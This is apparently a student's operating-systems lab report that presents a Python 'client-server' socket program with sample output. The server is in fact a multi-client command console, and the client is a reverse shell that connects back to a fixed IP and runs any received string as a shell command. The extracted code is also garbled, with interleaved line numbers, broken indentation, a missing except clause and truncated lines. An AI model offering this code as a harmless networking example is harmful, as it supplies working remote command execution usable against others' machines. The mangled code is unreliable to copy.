# ADVANCE OPERATING SYSTEM LAB (CSD-416) ASSIGNMENT 1

AKSHAT RAJ VANSH (185520)

DECEMBER 5, 2021



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### 1 Client-Server Application using Socket Programming

#### 1.1 Code - Server

```
import socket
    import sys
   import threading
   import time
   from queue import Queue
   NUMBER_OF_THREADS = 2
    JOB_NUMBER = [1, 2]
   queue = Queue()
   all_connections = []
   all_address = []
11
12
    def create_socket():
        try:
14
            global host
15
16
            global port
            global s
            host = ""
18
            port = 9999
19
            s = socket.socket()
20
21
        except socket.error as msg:
22
            print("Socket creation error: " + str(msg))
23
24
    def bind_socket():
25
        try:
26
            global host
27
            global port
28
            global s
            print("Binding the Port: " + str(port))
30
31
            s.bind((host, port))
            s.listen(5)
33
34
        except socket.error as msg:
35
            print("Socket Binding error" + str(msg) + "\n" + "Retrying...")
37
            bind_socket()
38
39
    def accepting_connections():
        for c in all_connections:
41
            c.close()
42
43
        del all_connections[:]
44
        del all_address[:]
45
46
        while True:
47
            try:
                 conn, address = s.accept()
49
                 s.setblocking(1)
50
                 all_connections.append(conn)
                 all_address.append(address)
52
                 print("Connection has been established :" + address[0])
53
            except:
54
```

```
print("Error accepting connections")
55
56
    def start_turtle():
57
        while True:
58
            cmd = input('turtle> ')
59
            if cmd == 'list':
60
                 list_connections()
61
            elif 'select' in cmd:
62
                 conn = get_target(cmd)
63
                 if conn is not None:
                     send_target_commands(conn)
65
            else:
66
                print("Command not recognized")
67
    def list_connections():
69
        results = ''
70
71
        for i, conn in enumerate(all_connections):
72
            try:
73
                 conn.send(str.encode(' '))
74
                conn.recv(20480)
            except:
                del all_connections[i]
77
                del all address[i]
78
                 continue
79
80
            results = str(i) + " " + str(
81
                82
                                                    ) + "\n"
83
        print("----Clients----" + "\n" + results)
84
85
    def get_target(cmd):
86
87
        try:
            target = cmd.replace('select ', '')
88
            target = int(target)
89
            conn = all_connections[target]
90
            print("You are now connected to :" + str(all_address[target][0]))
91
            print(str(all_address[target][0]) + ">", end="")
92
            return conn
93
        except:
94
            print("Selection not valid")
95
            return None
96
97
    def send_target_commands(conn):
98
        while True:
99
            try:
100
                 cmd = input()
101
                 if cmd == 'quit':
102
                     break
103
                 if len(str.encode(cmd)) > 0:
104
                     conn.send(str.encode(cmd))
105
                     client_response = str(conn.recv(20480), "utf-8")
106
                     print(client_response, end="")
107
108
                print("Error sending commands")
109
                break
110
111
    def create_workers():
112
```

```
for \underline{\ \ } in range(NUMBER_OF_THREADS):
113
             t = threading.Thread(target=work)
114
             t.daemon = True
             t.start()
116
117
    def work():
118
         while True:
119
             x = queue.get()
120
             if x == 1:
121
                  create_socket()
                  bind_socket()
123
                  accepting_connections()
124
              if x == 2:
125
                  start_turtle()
126
127
              queue.task_done()
128
129
130
    def create_jobs():
131
         for x in JOB_NUMBER:
132
              queue.put(x)
133
134
         queue.join()
135
136
137
138
    create_workers()
    create_jobs()
139
```

#### 1.2 Code - Client

```
import socket
   import os
   import subprocess
   s = socket.socket()
   host = '192.168.0.139'
   port = 9999
   s.connect((host, port))
10
   while True:
11
       data = s.recv(1024)
12
        if data[:2].decode("utf-8") == 'cd':
13
            os.chdir(data[3:].decode("utf-8"))
14
        if len(data) > 0:
16
            cmd = subprocess.Popen(data[:].decode("utf-8"),
17
                                    shell=True, stdout=subprocess.PIPE,
18
                                    stdin=subprocess.PIPE, stderr=subprocess.PIPE)
            output_byte = cmd.stdout.read() + cmd.stderr.read()
20
            output_str = str(output_byte,"utf-8")
21
            currentWD = os.getcwd() + "> "
22
            s.send(str.encode(output_str + currentWD))
24
            print(output_str)
25
```

#### 1.3 Output

## Socket Programming Outputs

#### Server Side

```
PS D:\Coding\Advance Operating System Lab> & C:/Users/AkshatRajVansh/AppData/Local/Programs/Python/Python310/python.exe "d:/Coding/Advance Operating System Lab/1-Socket-Programming/Code/server.py"
turtle> Binding the Port: 9999
Connection has been established :192.168.0.139
list
----Clients----
0    192.168.0.139    57778

turtle> select 0
You are now connected to :192.168.0.139
192.168.0.139>ls
client.py
server.py
/mnt/d/Coding/Advance Operating System Lab/1-Socket-Programming/Code> [
```

#### Client Side

```
arveus@arveus-omen:.../Advance Operating System Lab/1-Socket-Programming/Code$
python3 client.py
client.py
server.py
```